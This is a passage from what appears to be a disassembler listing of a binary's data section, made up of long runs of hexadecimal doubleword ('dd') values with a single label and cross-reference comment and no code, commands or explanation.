88D31A6Bh, 0D0DD7AB2h, 4A2DDE00h, 0F968E6A2h dd 3BED0E5Eh, 4300AE3Dh, 446D38C3h, 0BA5F40Eh, 0ED98030h dd 703166h, 0D092EB7Ah, 11601B36h, 1A3CFB07h, 9977759Eh dd 15E18D31h, 7B46D2E0h dd 7F149094h, 1D350006h, 0DAD74C89h, 1331F667h, 53882029h dd 0E57F8040h, 95050192h, 0EFF66886h, 0A420A226h, 15BD7303h dd 0C0C0E380h, 111A2C2h, 561A924h, 8078FC2Eh, 0E3DC1329h dd 0CEB82E9h, 0F8FA9342h, 0D8A00508h, 0C300B68Fh, 226897E3h dd 60CA2A9Ch, 838C482Eh, 36E27845h, 4993790Ah, 4740D09Dh dd 24DB38EDh, 0C04D799h, 0EB08C7A2h, 61009CB2h, 975C38E1h dd 37212A7h, 0EF9BF209h, 79C611F7h, 0C908E231h, 32C01803h dd 0C7A00037h, 9AFE2B36h, 0E700B666h, 725EAEC1h, 609CF18Fh dd 8D5A811Dh, 51053D7Fh, 18329E16h, 784C8C1Dh, 40BDB893h dd 53009CB4h, 0E7B68E0h, 0EEB56717h, 0E57D5CDFh, 418F5500h dd 1D1975F1h, 98B71100h, 943AA76Bh, 0BE5C009Bh, 0DD0D76D7h dd 3200915Bh, 3088F75Fh, 2EDFB8h, 428EF807h, 0E3A7E6BEh dd 805FEC3Bh, 58A38BACh, 12C4F46h, 9B5EDDCDh dword_4E414C dd 0D820FCF4h, 80045CBh, 24011AFBh, 734F9h, 0B03BEA4Bh ; DATA XREF: ___:off_42DE44o dd 0F15912ADh, 2E564303h, 0D7AB3F96h, 69344650h, 0C9E00E09h dd 35A036AEh, 7E53F25Fh, 2F1F13E8h, 29007301h, 0F3542016h dd 74E05Eh, 675A766Eh, 2A3B0C8Ch, 0F0B34Ch, 0E8398789h dd 0D3A9C6h, 150190A4h, 0D5C27BDDh, 44005EF2h, 0F237CF97h dd 6DE25Ch, 0ED7AD85h, 0AEECEDAFh, 66350500h, 9CCCB2CEh dd 391D0063h, 680BD545h, 0A598C4B0h, 0E836C200h, 0D2EA1C7Dh dd 0BE1A2854h, 287DC6h, 957E19C4h, 0EF01E1DDh, 9EA4570h dd 784C1001h, 0B636CFD4h, 708066F1h, 21F6827h, 0AE3B723Ah dd 0C46D0070h, 6C5EF4F2h, 11D13873h, 7E67F880h, 3C7993DFh dd 810065EAh, 0EBEAAEC4h, 1E752Eh, 25271533h, 4D1D7908h dd 6046DE31h, 5FF80D5Eh, 8811C0EFh, 32191643h, 62751E02h dd 80DE912Ah, 0E0183EBCh, 0F404F234h, 9877006Dh, 0E1860E21h dd 0C27CD78Dh, 0D14C4A00h, 0AE67F30Fh, 5FDD0085h, 99CBBC8Fh dd 0B23F6546h, 0C6DE1E36h, 0AEC7C280h, 0F8FA092Eh, 0BD4600BBh dd 518187A4h, 995A7718h, 90063BCh, 3D3FDE90h, 41025040h dd 0A078D9D8h, 0CA5340C1h, 541A00CBh, 6EC5FEAAh, 3300B471h dd 5784A30Fh, 0E6A915h, 1E58EDFFh, 0A63B8209h, 52A2B700h dd 4960E788h, 0CCA0369h, 18F5DDBDh, 0AC193BC0h, 45734200h dd 1D77352Ch, 0F0AE609Ch, 2AA91CEAh, 0E7C9706h, 519E3D5h dd 0B3730522h, 0F0BC0056h, 9417D815h, 91959603h, 0E0BA5114h dd 2431C6h, 906622D7h, 88048279h, 34134200h, 36A5434Dh dd 1EEED5h, 650308FAh, 41B9EFF2h, 6B04C100h, 847DF525h dd 558B3CDBh, 0E6708683h, 52C0B8A2h, 0ED076AD6h, 0B63867C7h dd 0ADD37520h, 0F15603B5h, 0C4BD90E0h, 238A86C8h, 817A013Ah dd 0EB267E50h, 0C07AA222h, 0B277D747h, 63A10900h, 0D0EDDE2Ah dd 10090F1h, 0AAAD4482h, 0FCEA5BDAh, 0F800642Eh, 0A39A9D14h dd 7D8A83BBh, 0AEFB246Ah, 3C803C24h, 787AC33Bh, 2B00E32Ah dd 0E78376D6h, 0C819892h, 0EA806BABh, 0DE0054C1h, 0FF0C7CF8h dd 0EF09D8h, 32610667h, 62835DDFh, 410052F8h, 43154CC8h dd 0D7A6CAh, 5C9E9478h, 67DF7A9h, 28FC6700h, 205163BFh dd 99590005h, 0C687B7E6h, 0D409D80Dh, 4371C84h, 0BA21B66Ch dd 0A9D82418h, 80B9E53Eh, 762F27F8h, 0F855A331h, 41E60097h dd 0AD4642AFh, 36008E2Ch, 56496E40h, 75EB31h, 47D04F5Eh dd 0CE8A7DB5h, 6E50F300h, 0FB1B3BDCh, 589843h, 2FBF1812h dd 0B1E0FF2Ah, 94293938h, 589831C3h, 78820198h, 17F463C8h dd 0F7C4D8h, 0EA23B553h, 0A6EF89E9h, 91E0F200h, 88065626h dd 0AC824885h, 3B000A21h, 0D4C1BCBDh, 51AA0A2Ch, 80C8CAF1h dd 232E172h, 17000C9Bh, 38236F39h, 2659E7h, 0F95C131Ah dd 2D77EA0Ah, 0C383DE00h, 0A482A27Eh, 7F79D9h, 0A84B4610h dd 80ECD46Ah, 9DBC4501h, 5033303Fh, 0F8D825E4h, 0EA6D00BEh dd 2823891Eh, 0EB317FA3h, 0BAC218D7h, 0FA7F824h, 7C91B8F8h dd 0F335DCA0h, 0B07DB19h, 6510081Ch, 0CE611E30h, 0D0AF00CCh dd 1446FB8h, 7B3BE12Ch, 0E5C30055h, 0E38F4210h, 0C8AB00BDh dd 0E471983h, 99051B37h, 3081E840h, 495D8801h, 0CFD4EA26h dd 602800B1h, 17DF2B86h, 0B301789Ch, 4B44B646h, 0F080290Fh dd 0FC6BF613h, 0A705693Ah, 111A6C05h, 9476980h, 74FA40h dd 0FA3B5018h, 0CFB342BAh, 29BC60F5h, 5B006AE6h, 831361F8h dd 0BF9C318h, 0D87DF4D4h, 0CE52D980h, 3C032D17h, 99324C8Dh dd 136AE892h, 0BCA20057h, 3ACCCAEEh, 0D700B149h, 16B5254Dh dd 121098Fh, 0C2B3170Bh, 800451E1h, 0B7C0A010h, 1E72151Ah dd 0DCE5B9DDh, 806E1EA2h, 6C4299F2h, 0C200050Ch, 81290ACDh dd 3C18DE3h, 0F5607C4Eh, 480066B5h, 0D2F20C36h, 3B2571h dd 3F69AEE5h, 12EF68A2h, 263ACD00h, 0B85EE129h, 0A37E0065h dd 0DD526ED4h, 7F07233Eh, 0DB9860EAh, 0E5C809D0h, 0C4EC003Bh dd 7310ABB5h, 6928C971h, 80EAC715h, 60118F2h, 0D72A4B8Dh dd 0A840856Ch, 63A93Dh, 17D57AFFh, 539235F8h, 46B12C00h dd 95D1672h, 13E60F98h, 0E42056C5h, 225AD95Bh, 3E7AAE00h dd 8FDCBACFh, 6F653A8Dh, 51ED5880h, 0E22CABF8h, 0D507D8ECh dd 0E9BC3F40h, 0DD142290h, 7F73EBEh, 99249400h, 0FAA532DCh dd 0F6FC67FEh, 1C777400h, 8258FC10h, 9C5A00F3h, 20895DCh dd 0DA0039D8h, 2C773A47h, 3F676E0h, 63799429h, 7880F370h dd 0A1001684h, 367AA487h, 0D0EEBFh, 69F455E7h, 0C96C182Eh dd 73C7E4Ch, 34441039h, 76709B80h, 0E0313B61h, 7BF3C500h dd 0A52F63DAh, 4D00C6E0h, 774C887h, 0F27D029h, 3D0C49B4h dd 3C9EC940h, 790044E1h, 1FF06643h, 0A00FC6F5h, 7D9C49E0h dd 5D9A0298h, 84D241CCh, 40C272C0h, 0CE39ACF8h, 275B0063h dd 1634DFB0h, 0C14800D5h, 97A70F51h, 28F4B79Bh, 40FD4F00h dd 0F3EAF2D9h, 12480061h, 0D3246678h, 0C9242377h, 9BE6043h dd 20444B50h, 0A8CEC820h, 2EC503B6h, 0EE53A2A9h, 1EC62818h dd 18CF2C10h, 20C448F6h, 66184BDh, 76AFEAB9h, 245E6983h dd 3A5C891h, 8ADF962Ch, 7F053880h, 0F630D700h, 9BA33EA8h dd 0BE42008Fh, 498AF4D1h, 3B0A6240h, 30882635h, 5EB90B40h dd 8911B93h, 25E0B83Fh, 0E8003588h, 3032463Bh, 0F61E8FB3h dd 807004Ah, 0B8A3FFBh, 5616AEEDh, 0AAB9C8h, 0C7618FC3h dd 8D1D66D6h, 0EAC0F7B5h, 74AD27BBh, 0D14D3B73h, 0BE6F840Fh dd 0B0547943h, 6593A0B8h, 0F3ED341Fh, 21A40741h, 8F4C086h dd 589F00F1h, 3814958Eh, 2700B84Eh, 7FBD6244h, 604D6999h dd 0BBF5B041h, 0D003C8BAh, 0B1E914E8h, 9484F0FFh, 0A9D50C20h dd 0F2EA4871h, 0F50776E0h, 9BD69328h, 0C23CBDA1h, 3F9C5470h dd 5300CB54h, 0CD33C36Ah, 0DB00DD17h, 2B8A8C58h, 78F60B82h dd 1D453BC4h, 0B554CD80h, 83F7679Ch, 438387Bh, 0D0BA9EC3h dd 0C52F88C0h, 78B379Fh, 7F0B5DB8h, 0D83FC0C0h, 0D400972Bh dd 0F556176Bh, 9BAC5D1h, 8219F6Ch, 18715C81h, 0FCF8EFBEh dd 760E5BF5h, 40D4DB93h, 0E775935h, 0B2EC0058h, 0A34BCEEh dd 330CF78Dh, 400764CCh, 587336h, 0FFEB6D66h, 0D048DBC8h dd 74204Ch, 2BF47D49h, 3CD696B5h, 0A8F3C34h, 93200E64h dd 832F1824h, 0E08D3200h, 0D935D5DDh, 1FD0054h, 0CE5DFC43h dd 0F6002928h, 0C3A1FE25h, 14CC46Bh, 162BA8A5h, 0C084F8C1h dd 0D8300167h, 0BC089163h, 0EFEC0092h, 0F39C9E33h, 780717F1h dd 1A6D4A90h, 1E746C01h, 7D863FCh, 957CD1C5h, 0F251E79Ch dd 0A48098AEh, 0DFC91D0h, 2652BA1Fh, 0CB1CDD87h, 849092C4h dd 0A94027h, 66117F5h, 8DE12021h, 0E89AD00h, 0B7A44E4h dd 0F370C08Ch, 95BB7396h, 57DF61Dh, 20F40DCBh, 0A453D28h dd 7ECD0367h, 49168139h, 0D4446117h, 986510h, 0B88E0D4Fh dd 0F0A37Ch, 912B128Ah, 0AFE14CFAh, 0E53D67EEh, 3450F3Ch dd 2D8A8097h, 499E48h, 1CFC42DFh, 16AB5751h, 615C3105h dd 0B4000B29h, 0B248B099h, 0FFE4BDh, 0D26EF0EBh, 4613258Ah dd 0E882C707h, 835E228h, 72D3C840h, 24831h, 27B25411h dd 0FAA0D985h, 202DEC0Fh, 0D6629803h, 0BC4004A6h, 0C0233BE3h dd 5D78D044h, 2696E848h, 0F87584Ch, 0C04F0DB9h, 0D1BFBE45h dd 8ACF00BCh, 82E7F3B3h, 0A8076E95h, 3C97F0A0h, 56A7BFF1h dd 0E32CD8h, 0DF78774Eh dd 14238AA3h, 7CA88250h, 85700E00h, 98BB52F0h, 0F6AC00B3h dd 7BF476C7h, 0F80014D2h, 1C5F9BE3h, 90B4810Dh, 19FD054Ch dd 1E906E2Eh, 8E7543D8h, 2D90CD39h, 30041867h, 0EC5DD9DFh dd 96CA1481h, 0B846C188h, 3BB60240h, 0A4BE13E7h, 0F85B0E06h dd 0D8005DCBh, 4176BF19h, 3F937F0Eh, 0FB202039h, 12657E96h dd 5F709Eh, 0B292D455h, 0CF04116Eh, 49DE2028h, 2A1CC80h dd 0E08B60E2h, 0D6744F03h, 778A5204h, 0CC086FBh, 35FECA63h dd 81C0B11Dh, 70741BE6h, 9C02965Fh, 248CDBC3h, 0C6C40D2h dd 2D7C004Bh, 0C2C7EC35h, 32100482h, 7D493Eh, 40E35C9Ah dd 0B7B3567Fh, 8BF05818h, 38CC2058h, 0D3B9B614h, 9FCBA18Fh dd 216CD466h, 0ED77940Eh, 0CC003FB9h, 829EC6BFh, 244C9A25h dd 16DC4B11h, 7C4E8E7h, 0BB7B67Fh, 0A43202D1h, 517070h dd 0ACA362E0h, 0AE457BABh, 0B9F1C903h, 0E82EA423h, 3FC6B00Dh dd 9005987h, 46486FD1h, 0AE0347E4h, 0ADF6F45Ah, 0F3589082h dd 45EA0072h, 2384D167h, 9D00FDF1h, 0A06505A2h, 0D3F759h dd 1AF888CFh, 3F41BE58h, 37BFE200h, 9E96F0F4h, 2D1E0021h dd 0A2559AF7h, 0F22822BCh, 3D00FCCFh, 5C5F5E7Fh, 1C2EFDh dd 37DE60A9h, 1AE90523h, 91007CEEh, 4BB51F41h, 2E01161Eh dd 587446h, 0CBC1B0DFh, 11497552h, 0C5EF80DCh, 0FA784C0Ch dd 988207E3h, 0D055E849h, 58FF3D9Eh, 6CE18F00h, 29AA4223h dd 0DD203C4Eh, 46B25F80h, 445C9E6Fh, 80BF2D1Dh, 0C4EF2980h dd 306682h, 969C98AFh, 752393F7h, 41092800h, 0DB54622Fh dd 5EDD078Bh, 53E52943h, 747690B4h, 44A14Dh, 67E086AFh dd 0D7EA0Bh, 0BD462D4Dh, 44D05907h, 4F0D8100h, 197DC9A1h dd 0C5B00C7h, 0E5D25256h, 7709D966h, 8437A8A0h, 91C128CCh dd 820491Bh, 99A40F8Fh, 346C5FAEh, 81000320h, 742CC69Bh dd 0FE383644h, 26BDE026h, 0F5802E5h, 7CAC2BCFh, 60018431h dd 0D42A274Ah, 0D8EC7E3Ch, 9E572EF9h, 0D79F8088h, 0EBC22456h dd 0C4E7B028h, 78D3632Eh, 72A6D905h, 2C0085C5h, 94DEB16Ah dd 284D0264h, 0E9699131h, 0F9C0B080h, 8570DCFAh, 0F4DF062Eh dd 1B0F114h, 0A4488E51h, 0E8E37CD7h, 0AECEBh, 0DA074B42h dd 0C4A97FAAh, 0E8FB3C00h, 786BCF91h, 3104019Dh, 86B7072Eh dd 8DA3CC6Ah, 0DFFCA400h, 2F87E197h, 0F20F01DEh, 51B68BBEh dd 4878FCE4h, 5F0CF498h, 22963052h, 54F453h, 14D492F1h dd 0B92994DDh, 0F681651Ch, 85C0555Fh, 7240030Eh, 0FEFA1CA3h dd 89ABCEC4h, 0FC5C00B6h, 0BB565918h, 0E23D9D00h, 0BD98F049h dd 0DE070E88h, 8D605CE7h, 0EB8E0950h, 0AE00957Ah, 8736C19Dh dd 0B8042D4Ch, 54E100CBh, 9E83DF6Eh, 65006790h, 0C1D309E6h dd 4A31322Ah, 1C8C20D8h, 0AA1E593Dh, 6B40E32Fh, 2452359Bh dd 756C135Bh, 13E2000Dh, 74D96829h, 764Bh, 0AD90C6E3h dd 0D37F000Ch, 0C953EB42h, 401E1CBFh, 5700706Ah, 0CCF34395h dd 4DC3EC6h, 65FB1Dh, 5B3845A4h, 9C004A55h, 7C199764h dd 594F84h, 0B7D4BE34h, 0FFDEF6E1h, 33B56100h, 1D1EE9B6h dd 0E549420h, 4F807E72h, 0A3DB52E3h, 81879313h, 46C7B800h dd 0FC1ED5h, 0CC0611B8h, 2AB5CA69h, 0E90E0100h, 2C6AD496h dd 0BE6300CEh, 953D1A61h, 0DEFC4B86h, 7FA23812h, 500200FFh dd 0CB43AEF1h, 0C87E5E00h, 782644C5h, 43454A1Ah, 3F148F98h dd 0B6A980F7h, 676176F0h, 5ED08918h, 201643E2h, 0C006C811h dd 874A4CB4h, 465B0620h, 40C3AECCh, 984BF3Ah, 27A095h dd 262CC5F0h, 0D07A183Eh, 89EE4087h, 1E50BDE4h, 0E4A9140h dd 0D4C3D441h, 0EC288126h, 69008423h, 0B758C0Eh, 6A5A0985h dd 388F34A1h, 0F7D79C0h, 451CE53Dh, 0AA00BA22h, 1CA0446h dd 6D720183h, 0B7FD07BEh, 0F9C4CC5Bh, 0CC31C300h, 0CF8129EDh dd 60C71D83h, 0FEA780FAh, 2AD0C906h, 4FAAE000h, 1457EF1Ch dd 5FF498h, 2CDF9601h, 0D2211F67h, 1EA79400h, 1C0F0A97h dd 0C1111D4Fh, 4A391819h, 71123156h, 40F923Fh, 8080FDCCh dd 6597071Fh, 0BCB40D2h, 81096B38h, 0E806442Fh, 0FDC426D0h dd 471B00EBh, 66E390A9h, 3C001188h, 9D97EC4Eh, 34DCA74h dd 6CA78F5Fh, 0EF8AE7Ah, 1F00C81Dh, 0D4481316h, 5CC24662h dd 9483F0DAh, 17D0E231h, 87AA9DDh, 0C323BF00h, 0B0BD07B6h dd 1C980011h, 9C40C4E7h, 0B205E9D4h, 0C7BB786Dh, 29845E80h dd 35E0008Dh, 6BCEEDDCh, 7C007236h, 0F54061A2h, 3DBB350h dd 0AA0E7B1Ah, 43A8A817h, 0D500F363h, 9F96B3Bh, 7949057h dd 1B85EA56h, 0E92C50EEh, 95007576h, 5E982608h, 3F736D4Ch dd 54805D48h, 92CCD6Ah, 0EB0E166Fh, 6AB1B9CEh, 7698544Eh dd 95310Eh, 554CAE20h, 0E209EE63h, 7748CC03h, 0E96D6AFFh dd 0D4609069h, 7D74D6h, 244F5BEEh, 731A43CFh, 0B496CE09h dd 0E16E01FFh, 49810313h, 0A86DC229h, 0A1CE1156h, 0D142B611h dd 380460C7h, 0EE48203h, 14959B89h, 0A0AD0D59h, 37E32E00h dd 0DCEA62BFh, 54101A0Eh, 8A3660AEh, 0EBD664h, 0EC138E4Fh dd 0C0EA6A1h, 0DBAA5800h, 45C83EADh, 0E44E0174h, 0A24A2EFCh dd 8D99809Dh, 4BC73193h, 0CFE6007Fh, 0CB307BECh, 801D2758h dd 0AD0FD42Fh, 0E637E077h, 0E0F56CDBh, 58A8C05Dh, 0DFA71F73h dd 0A10611C0h, 0CB73014h, 9550CD4Dh, 0C900FD20h, 0C87CBE29h dd 0AAC1B8h, 0DA3FA970h, 87AB3EA3h, 0EF0A0D00h, 7339BDD3h dd 2F5A00FEh, 0BF09BB8Ch, 8600976Eh, 81ACD45Fh, 3F2A3225h dd 6B071B91h, 0D5514CFEh, 0A2A40034h, 29D94B9Fh, 22E9A001h dd 0E705316Dh, 7BDFFCh, 0FE9CD2E4h, 7CC8F4D5h, 3822B41Fh dd 9AB92B00h, 305D43h, 62E853B5h, 0DAAC8078h, 0FE8B4C00h dd 9F1DE9D6h, 2B600001h, 0B8F4DF8Fh, 0D126CBCh, 24004E80h dd 0AF6FFDF8h, 79CD0F31h, 30C0D569h, 0D6BB210Ah, 1472BC3Dh dd 0EE859DCh, 80EF9BC4h, 38A13794h, 5B953D44h, 0BB2F1C09h dd 4C510675h, 0F29000D0h, 0F493F14Fh, 0FC001DFAh, 1E3F60C8h dd 3AAAF7h, 0C5221364h, 78414D5Dh, 7962CD06h, 68338Ch dd 0EFF4AB94h, 0FDF2A064h, 30705724h, 83814E80h, 0C4D6A1F5h dd 49F46F70h, 0A60D8085h, 0BC7D7Ch, 93B4F808h, 0F1CC949Bh dd 7876C900h, 7F6AD1E4h, 4E5B0013h, 18B8A8C3h, 0B100C195h dd 39CBE1FAh, 0E0E7F2h, 0F8AE2728h, 0FEDC1B72h, 45D4F51Fh dd 865147C0h, 1FFF3529h, 3E9D5DEEh, 1411D083h, 88A9BACAh dd 0AD89DC84h, 3D773B07h, 9C907BC1h, 3BFC1BEDh, 2B09DAD0h dd 3600F86Dh, 91360CE6h, 97E06200h, 767DA22Fh, 1CF8BF27h dd 449BBA00h, 0EC4E858h, 3B3F7A5Dh, 0C83F7AAh, 486F784Ah dd 3E1F5790h, 0B660D307h, 81D0655Dh, 93E545h, 0D20B2B23h dd 4128114Dh, 73226D0Fh, 689E005Eh, 0DB3A4Fh, 7DA3DCDDh dd 82D29765h, 0A9942A00h, 7149B4E2h, 0EB52020Ah, 0F26BE368h dd 4474B480h, 2D0022BDh, 0E5A0B02Eh, 0FC483Fh, 67F2E308h dd 9B8EEC42h, 0CA900D0Ah, 0E580DC6Ah, 84F44AC0h, 0A6540121h dd 6C4673C4h, 56443442h, 0CD2B20h, 5CB560CBh, 3F5F3AD9h dd 0BFF2DE00h, 0FCCEE898h, 7C7F0048h, 0AE1085E9h, 443CA40Ch dd 43A0D0D0h, 0DA5D3400h, 53B0FA33h, 5EBF244Bh, 39D80B0h dd 0D6A3AF3Fh, 0D1B8570Fh, 51C30019h, 505A9Ah, 0B9221CD9h dd 144276FFh, 0E1B95860h, 28634F1Ah, 26AC5F44h, 0BBC0D116h dd 0E176B30Bh, 2A10758Ch dd 73F7960Ch, 9B21EBh, 0B8D23D09h, 8D804A2Ch, 0FC5EBA07h dd 2A561BD6h, 86270061h, 0B80EC07Bh, 6601D5D3h, 9190A65Dh dd 0D4CCA81Ah, 7EC5052Eh, 0BFCAA61h, 58104BC0h, 0DE3051C1h dd 48598179h, 0D760009Ah, 0AC2FEA5Ch, 3C90730Ah, 0A3EBD000h dd 0B61F4DE9h, 74CB1E40h, 0A0FD8048h, 7FE0CAB9h, 0A25C2C00h dd 0D5A3436Bh, 0B56E14E8h, 4A01F099h, 0FB3BD1E7h, 640CF4E2h dd 337A7F14h, 0A59A0ED8h, 0C66580F6h, 11B53Fh, 0EFDF1470h dd 1E12CA3Bh, 83320700h, 0AED115BBh, 0F38800ADh, 13821136h dd 0ED0B4080h, 7395F78h, 12F053B0h, 58CF62h, 1CF2FECEh dd 895BE18Eh, 0AE8D791Dh, 40B5BB0Ch, 0A2A760ACh, 467EFDCCh dd 75C4F600h, 6DA590ADh, 15A43AB9h, 2436F524h, 0F8C0085h dd 0D71AE72Ch, 85980C00h, 456F9CE1h, 9DC70068h, 0A72086E3h dd 0EA019719h, 18E76EEDh, 80E4C6E5h, 0DE2D0066h, 45432E8Eh dd 20007BA5h, 4EF7745Eh, 1CD2EF47h, 4031D11Bh, 16367632h dd 5F00B843h, 22EE41C2h, 0B452CF7h, 0AE1DB701h, 80262FFEh dd 9B111C00h, 0E5EDCEh, 840DA974h, 3F436EE4h, 12AC7003h dd 0A809C691h, 59EC3767h, 0C800BC9Fh, 0ED4F305Ch, 8600F88Fh dd 76CFFF14h, 635BD0h, 1291F383h, 0EBA340DCh, 0C65CA00h dd 6A9F0678h, 4750004Eh, 8D03DEDAh, 0A7139004h, 1EEEC7Ah dd 0D94D3BF4h, 7DDAD063h, 0A08FD324h, 0F9020D80h, 1D156413h dd 1D8C1951h, 74B203A3h, 990996D3h, 0A0F5DA21h, 0B6897AC8h dd 817C3A44h, 0CAB24900h, 75279CA1h, 0C877EB28h, 7E03A8F0h dd 0B513B6F1h, 3877F8h, 15B41749h, 688FD610h, 3AD57A07h dd 94C7855Ch, 4CCA72C7h, 0D945B102h, 34209069h, 0A46C7AC6h dd 0E4DB7B14h, 28B10009h, 3A87DA7Eh, 6F00EDDEh, 5B4A537Ah dd 394FB66h, 237B88Dh, 96D0C45Fh, 0DB00A3C2h, 0D823067h dd 7BC553h, 7526A1A6h, 0E39BC70Bh, 981EE600h, 6264C04Dh dd 0C1880095h, 540ECD1Dh, 0AD00DABFh, 0EC7C0374h, 0AB5988Bh dd 20D88E3Ch, 0A8258494h, 90FA8799h, 0A0CFD0C8h, 12CBC700h dd 6684499Fh, 81F93054h, 99C493C9h, 459E321Eh, 0C1B5288Fh dd 0C706C525h, 69BFD841h, 1F4F0705h, 36CE91DDh, 9F8C40A5h dd 0F2068217h, 2F3EABECh, 86D92A81h, 0D04E009Ch, 0AAF62C42h dd 0C00FB430h, 40D32BD8h, 4B04357Bh, 7181186Ah, 666B31FEh dd 0EA394C00h, 95198021h, 712C00FCh, 0B1135803h, 610643FEh dd 8D14841Bh, 0BF1000C1h, 31D82103h, 3C0BE738h, 0C72CD83h dd 5CF191EBh, 74016D2Ah, 46BF4E24h, 0E713D84Ah, 894D3Ah dd 7D0564BAh, 0B81F2A6Ch, 1584188Ah, 5F306142h, 0A4F37201h dd 80F99CBFh, 0BDAF1985h, 389B07E6h, 0EDC5D00Eh, 2300E9F2h dd 0CE21489Bh, 0A2E5E7Dh, 0F992545Fh, 1F3C1F28h, 8A894F99h dd 0DCB54160h, 7892B124h, 0E600F4F4h, 0EFE17B5Fh, 38309171h dd 0CD8004D1h, 5E9A5A22h, 6900C47Eh, 9B3431DBh, 1271AB1h dd 0C93DE74Fh, 74209782h, 0E100D995h, 812A8357h, 724EB90h dd 39043AA0h, 6827C0A2h, 4B008E17h, 76976DC1h, 0B7CDD9h dd 1B0F61F1h, 756EF39Ch, 3A4DA503h, 0D810CAA0h, 8EE4FEh dd 0CC1CD8ECh, 8453A9F0h, 0FA86F100h, 6B90F814h, 0CBD100A5h dd 40280B8Ah, 0FE09678h, 5707F177h, 9A393046h, 531A6250h dd 7B907Fh, 594A2974h, 0A46A165Ch, 43D2CA07h, 34C00AF5h dd 0F6B4DA0Fh, 78FB1295h, 0D0DF0040h, 362A0989h, 601C0EEh dd 0F26CC511h, 6DDC1E1Dh, 56A403E6h, 0EE68BE03h, 7CC9EFA8h dd 3B3C0800h, 0B22A9DF4h, 497E015Bh, 0A0968D5h, 8A3080A5h dd 306C0D6Dh, 699128CDh, 2013B24h, 5F485700h, 1A0CA56Eh dd 0A6DBF100h, 7CFB538Eh, 0FC700EFEh, 0EA09FA4h, 492B4390h dd 0F23FA278h, 6A3E005Ch, 9ACE7EF6h, 6B910086h, 5E11FF5Bh dd 17035161h, 9E554B78h, 192900C2h, 417F58F7h, 0E4144F48h dd 24E459F8h, 130FE043h, 0FEEF6074h, 862453h, 0EEEE978h dd 4B29011Ah, 51007B77h, 0B40B0881h, 0E81B918Eh, 0B04800D0h dd 77D8A0C4h, 0A400ED58h, 903BEA35h, 1DE0D36Eh, 828B284Bh dd 6C0C5D18h, 0B6C4D080h, 9207E785h, 54B09A96h, 6708D940h dd 0B1A10046h, 128AB5BDh, 3F0082E0h, 887B0740h, 42506Ah dd 3B4990CBh, 0A7C1DD20h, 0E155D907h, 3DBED48h, 98DE8536h dd 1553365Bh, 0B8FA18B8h, 5DDCDA09h, 74CA5D80h, 8F006C9Eh dd 0D89279BCh, 0C47B0CCh, 0D9E8C8ACh, 76000308h, 0DF998326h dd 735C9350h, 0B861013Eh, 0D30CA7CCh, 0E9E5C8B3h, 0B7D87505h dd 0D012E8ECh, 16F58202h, 0A60BC086h, 791F02D0h, 0A43F09A9h dd 0DB409A42h, 2C0065F0h, 0FB69686h, 1BB8068h, 3332059Fh dd 41464E87h, 106A90D0h, 0AC56B3h, 3503421Dh, 120EAEB6h dd 0CE629A00h, 45C1420h, 43E703EFh, 7FFB329h, 0E3C16580h dd 67037977h, 91A14550h, 0BBAFE962h, 14568170h, 0F82AB69Dh dd 6963B982h, 1EC01442h, 72496B14h, 26841114h, 0AC577F01h dd 20371B38h, 0AE540C3Ch, 7400EFC8h, 0DB13518Fh, 28BD54A8h dd 77BCBC96h, 9936004Eh, 3C70EDD7h, 9201ECCEh, 0CCB14038h dd 0D053EE74h, 81E9C876h, 2D8D01D2h, 0A0D64380h, 70C60B5h dd 4851CC00h, 5649BD20h, 719801A9h, 233401BEh, 0FB4080D9h dd 544A9BABh, 7F41826h, 0EC17989Fh, 356EC700h, 0A0FA035Ch dd 378F0081h, 679FB156h, 0C8007C52h, 0C262C79Dh, 5E3C7Ah dd 0BF979B0h, 691E1BBEh, 0C6311001h, 0DD6B9553h, 0E6F1ECh dd 476D8E39h, 55B740F4h, 8300E273h, 0F7C5041Bh, 51CFC2h dd 8792693Dh, 0C079F77h, 0C9C4C81Ch, 0F90B8Bh, 44D6FD4h dd 0C6FD0046h, 0DE93BEEAh, 670047C8h, 602DABC7h, 265279Bh dd 0EA4F7A8Ch, 0C4A48E62h, 47340071h, 146422Bh, 0B2327ABCh dd 80E538C8h, 3A3B64E0h, 903B8ADh, 40F6C41Bh, 708C8087h dd 8251F7EDh, 0A800D7F5h, 4614A0D4h, 1AF2543h, 77096E41h dd 0E06C60E7h, 2B62F87Ch, 403E8E78h, 3BC2CD8h, 9FD2B6DBh dd 5858A2A4h, 406029Ah, 68826C70h, 2FBE5A38h, 0B5F8AD4Dh dd 35968901h, 6F16387Ah, 69B02080h, 7C530F4Ah, 5BFE6514h dd 3358E4h, 599D6019h, 7302C6h, 0D0EC588Dh, 0D64F71AEh dd 163B6100h, 8749B908h, 5C7001Dh, 0FEF51864h, 4060023Ah dd 179145B0h, 0A2060D2h, 0BD77BCB3h, 0BFBB640Eh, 5C2406Ah dd 0FACCE2F7h, 0E18E049Dh, 80AB9108h, 15ED4494h, 88D15C00h dd 0AE795381h, 134D0276h, 6F273F3Eh, 0C54817E0h, 5D027100h dd 5382DDF7h, 573000F4h, 319EDA9h, 4B0040DEh, 8F327247h dd 0DA41A7h, 0CFECF778h, 153C8082h, 2FC4F000h, 3A571248h dd 7F690001h, 72DA9E62h, 37E04DB4h, 8D251A00h, 2F1910D9h dd 1ED7133h, 0CCF9BF5Ch, 0E45E0993h, 24986DFDh, 0D935A200h dd 0FA98CBD2h, 0DA4D1FC4h, 4000F9C0h, 0FE692FB9h, 8C00D2ABh dd 0DD35D983h, 535027h, 67E00873h, 19253EDBh, 117241FAh dd 0B72A2B00h, 0E7FD1337h, 0D0F15879h, 0BB215100h, 40EC5B22h dd 0A3DD3B00h, 2EC5F06Ch, 4C9D1858h, 770428F6h, 7C0F72F4h dd 72512643h, 54AD1402h, 3AA54079h, 9550185Fh, 9EAC3124h dd 72BBBD00h, 0AE1BCF2Ah, 790E007Ah, 0D2B073BAh, 0E300AD9Bh dd 3CB5E801h, 8A9E97h, 91E5B162h, 0CB3ABF0Eh, 44456300h dd 3669FAAEh, 5F5D0157h, 1CEC8B4Ah, 0A40A6093h, 66852D03h dd 98AE2642h, 0B7DA69h dd 0B3EA0BBAh, 1B1A06C2h, 0A4D07D1Ch, 7D9EC0Bh, 10F09EC6h dd 2C5C641Fh, 80C8EB14h, 0E75DFC37h, 0F8B20121h, 0C1000098h dd 2F4CFE77h, 0E573F2h, 0DE4622BAh, 4AE29F7Eh, 0ADDB8100h dd 6A341609h, 7DAF1FF5h, 4C6DC0F3h, 95FD26D1h, 3D41C48h dd 77CBD55Ah, 0DE703AECh, 2F5AC1Dh, 2F2A0F32h, 8AA60868h dd 